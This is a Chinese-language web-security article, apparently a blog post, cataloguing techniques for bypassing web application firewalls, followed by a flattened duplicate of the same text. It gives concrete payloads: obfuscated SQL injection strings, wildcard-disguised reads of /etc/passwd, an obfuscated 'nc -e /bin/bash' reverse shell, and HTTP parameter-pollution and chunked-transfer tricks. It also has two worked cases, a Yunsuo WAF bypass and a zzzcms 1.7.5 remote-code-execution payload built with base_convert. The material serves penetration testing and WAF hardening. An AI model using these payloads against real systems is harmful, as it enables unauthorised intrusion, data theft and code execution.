WAF绕过拍了拍你
字数 2560 2025-08-15 21:33:08

WAF绕过技术全面指南

1. WAF基础概念

WAF (Web Application Firewall)是Web应用防火墙,工作在HTTP协议层面,检测并拦截可能带有攻击性的数据包。

2. WAF绕过技术分类

2.1 对抗规则绕过

原理:通过变形使WAF无法匹配到恶意语句

编码变形技术

  • URL编码:select * from zzzselect * from %257a%257a%257a
  • Unicode编码:单引号 → %u0027%u02b9%u02bc
  • 十六进制编码:adminuser0x61646D696E75736572
  • 空格编码:%20%09%0a%0b%0c%0d%a0

大小写变换

  • Union selectuNIoN sELecT

等价关键字替换

  • And&&
  • Or||
  • =like<>组合判断
  • if(a,b,c)case when(A) then B else C end
  • substr(str,1,1)substr(str) from 1 for 1
  • limit 1,1limit 1 offset 1
  • Union select 1,2union select * from ((select 1)A join (select 2)B)
  • hex()bin()ascii()
  • sleep()benchmark()
  • concat_ws()group_concat()
  • mid()substr()substring()
  • @@useruser()
  • @@datadirdatadir()

2.2 配合系统特性绕过

Windows特性

  • whoami((((Wh^o^am""i))))(利用符号分割)
  • whoamiset a=net&&b=user&&call %a%%b%(变量分割)
  • set a=123whoami456echo %a:~3,6%(变量截取)

Linux特性

  • whoamiw'h'o'a'm"i"(引号连接)
  • cat /etc/passwdcat /?t*/??ss**(通配符)
  • whoami/b[12312i]n/w[23sh]oa[2msh]i([]通配符)
  • whoamia=who&&b=ami&&$a$b(变量拼接)
  • cat /../../etc/passwdcd ..&&cd ..&&cd etc&&cat passwd(目录穿越)
  • nc -e /bin/bash 127.0.0.1 1234/??n/?c -e /??n/b??h 2130706433 1234(IP转换)

MySQL特性

  • 注释符:/**/可用于截断关键字
  • 内联注释:/*!user()*/(MySQL特有)
  • 换行与注释组合:union#A%0aselect
  • 等价函数替换

2.3 配合过滤代码或漏洞本身

  • 双写关键字:andanandd
  • chr()函数转换:phpinfo()chr(80).chr(72)...
  • base_convert()函数:phpinfobase_convert(27440799224,10,32)

2.4 HTTP协议绕过

Content-Type绕过

  • 修改为multipart/form-data可能绕过检测

请求方式变换

  • GET/POST互换可能绕过不同检测规则

参数污染

  • 提交多个同名参数:?id=1&id=2&id=exp
  • 不同服务器解析不同:
    • ASP.NET+IIS:取第一个
    • PHP+Apache:取最后一个

解析特性绕过

  • IIS5.0-6.0解析漏洞:/xx.asp/xx.jpgxx.asp;.jpg
  • IIS7.5解析漏洞:/xx.jpg/.php
  • Apache解析漏洞:/test.php.php123
  • Nginx解析漏洞:xxx.jpg%00.php(Nginx <8.03)

多Content-Disposition

  • 请求包中包含多个Content-Disposition时可能绕过

解析兼容性

  • 非标准文件名格式:filename="test.phpfilename=test.php

Keep-alive绕过

  • 构造多个请求,恶意代码隐藏在第n个请求中

分块传输

  • 将关键字拆分编码传输

修改编码方式

  • 设置非UTF8编码如ibm037

2.5 WAF检测限制绕过

参数溢出

  • 增加参数数量超过WAF检测上限

缓冲区溢出

  • 发送大量垃圾数据溢出WAF:
    • UnIoN SeLeCT = and (select 1)=(Select 0xA*99999)
    • and 1=1 = and 1=1 and 99...99999

2.6 网络结构绕过

源IP绕过

  • 直接对源地址发起攻击,不经过WAF

同网段/SSRF绕过

  • 利用局域网内部流量或SSRF漏洞从内部发起攻击

3. 实战案例:云锁绕过

环境

  • MySQL+Apache+PHP
  • 云锁公有云版Linux_3.1.20.15

绕过技术

姿势一:注释+换行绕过

  1. 使用%23注释后面内容
  2. 使用%0a换行逃出注释

示例:

test.php?id=1 /*!order*//**/%23A%0A/**/%23A%0A/*!by*//**/2
test.php?id=1 /*!UNIon*//**/%23A%0A/**/%23A%0A/*!select*//**/database(),user/**/()

姿势二:分块传输

  1. 改为POST请求
  2. 设置Transfer-Encoding: x chunked
  3. 将关键字拆分传输

4. 实战案例:zzzcmsV1.7.5前台RCE

绕过技术

  • 使用array_map替代被过滤的函数
  • 通过base_convert转换函数名:
    array_map(base_convert(27440799224,10,32),array(1))  // 执行phpinfo()
    
  • 复杂命令构造:
    {if:array_map(base_convert(591910,10,36),array(base_convert(831805,10,36)...))}{end if}
    

5. 总结

WAF绕过技术核心思路:

  1. 变形:编码、大小写、等价替换
  2. 利用特性:系统、数据库、中间件特性
  3. 协议层面:HTTP协议解析差异
  4. 绕过检测:溢出、分块、参数污染
  5. 网络层面:避开WAF检测路径

实际渗透中需要根据目标环境灵活组合多种技术,不断测试验证。

WAF绕过技术全面指南 1. WAF基础概念 WAF (Web Application Firewall)是Web应用防火墙,工作在HTTP协议层面,检测并拦截可能带有攻击性的数据包。 2. WAF绕过技术分类 2.1 对抗规则绕过 原理 :通过变形使WAF无法匹配到恶意语句 编码变形技术 URL编码: select * from zzz → select * from %257a%257a%257a Unicode编码:单引号 → %u0027 、 %u02b9 、 %u02bc 十六进制编码: adminuser → 0x61646D696E75736572 空格编码: %20 、 %09 、 %0a 、 %0b 、 %0c 、 %0d 、 %a0 大小写变换 Union select → uNIoN sELecT 等价关键字替换 And → && Or → || = → like 或 < 与 > 组合判断 if(a,b,c) → case when(A) then B else C end substr(str,1,1) → substr(str) from 1 for 1 limit 1,1 → limit 1 offset 1 Union select 1,2 → union select * from ((select 1)A join (select 2)B) hex() 、 bin() → ascii() sleep() → benchmark() concat_ws() → group_concat() mid() 、 substr() → substring() @@user → user() @@datadir → datadir() 2.2 配合系统特性绕过 Windows特性 whoami → ((((Wh^o^am""i)))) (利用符号分割) whoami → set a=net&&b=user&&call %a%%b% (变量分割) set a=123whoami456 → echo %a:~3,6% (变量截取) Linux特性 whoami → w'h'o'a'm"i" (引号连接) cat /etc/passwd → cat /?t*/??ss** (通配符) whoami → /b[12312i]n/w[23sh]oa[2msh]i ([ ]通配符) whoami → a=who&&b=ami&&$a$b (变量拼接) cat /../../etc/passwd → cd ..&&cd ..&&cd etc&&cat passwd (目录穿越) nc -e /bin/bash 127.0.0.1 1234 → /??n/?c -e /??n/b??h 2130706433 1234 (IP转换) MySQL特性 注释符: /**/ 可用于截断关键字 内联注释: /*!user()*/ (MySQL特有) 换行与注释组合: union#A%0aselect 等价函数替换 2.3 配合过滤代码或漏洞本身 双写关键字: and → anandd chr() 函数转换: phpinfo() → chr(80).chr(72)... base_convert() 函数: phpinfo → base_convert(27440799224,10,32) 2.4 HTTP协议绕过 Content-Type绕过 修改为 multipart/form-data 可能绕过检测 请求方式变换 GET/POST互换可能绕过不同检测规则 参数污染 提交多个同名参数: ?id=1&id=2&id=exp 不同服务器解析不同: ASP.NET+IIS:取第一个 PHP+Apache:取最后一个 解析特性绕过 IIS5.0-6.0解析漏洞: /xx.asp/xx.jpg 或 xx.asp;.jpg IIS7.5解析漏洞: /xx.jpg/.php Apache解析漏洞: /test.php.php123 Nginx解析漏洞: xxx.jpg%00.php (Nginx <8.03) 多Content-Disposition 请求包中包含多个Content-Disposition时可能绕过 解析兼容性 非标准文件名格式: filename="test.php 、 filename=test.php 等 Keep-alive绕过 构造多个请求,恶意代码隐藏在第n个请求中 分块传输 将关键字拆分编码传输 修改编码方式 设置非UTF8编码如 ibm037 2.5 WAF检测限制绕过 参数溢出 增加参数数量超过WAF检测上限 缓冲区溢出 发送大量垃圾数据溢出WAF: UnIoN SeLeCT = and (select 1)=(Select 0xA*99999) and 1=1 = and 1=1 and 99...99999 2.6 网络结构绕过 源IP绕过 直接对源地址发起攻击,不经过WAF 同网段/SSRF绕过 利用局域网内部流量或SSRF漏洞从内部发起攻击 3. 实战案例:云锁绕过 环境 MySQL+Apache+PHP 云锁公有云版Linux_ 3.1.20.15 绕过技术 姿势一:注释+换行绕过 使用 %23 注释后面内容 使用 %0a 换行逃出注释 示例: 姿势二:分块传输 改为POST请求 设置 Transfer-Encoding: x chunked 将关键字拆分传输 4. 实战案例:zzzcmsV1.7.5前台RCE 绕过技术 使用 array_map 替代被过滤的函数 通过 base_convert 转换函数名: 复杂命令构造: 5. 总结 WAF绕过技术核心思路: 变形:编码、大小写、等价替换 利用特性:系统、数据库、中间件特性 协议层面:HTTP协议解析差异 绕过检测:溢出、分块、参数污染 网络层面:避开WAF检测路径 实际渗透中需要根据目标环境灵活组合多种技术,不断测试验证。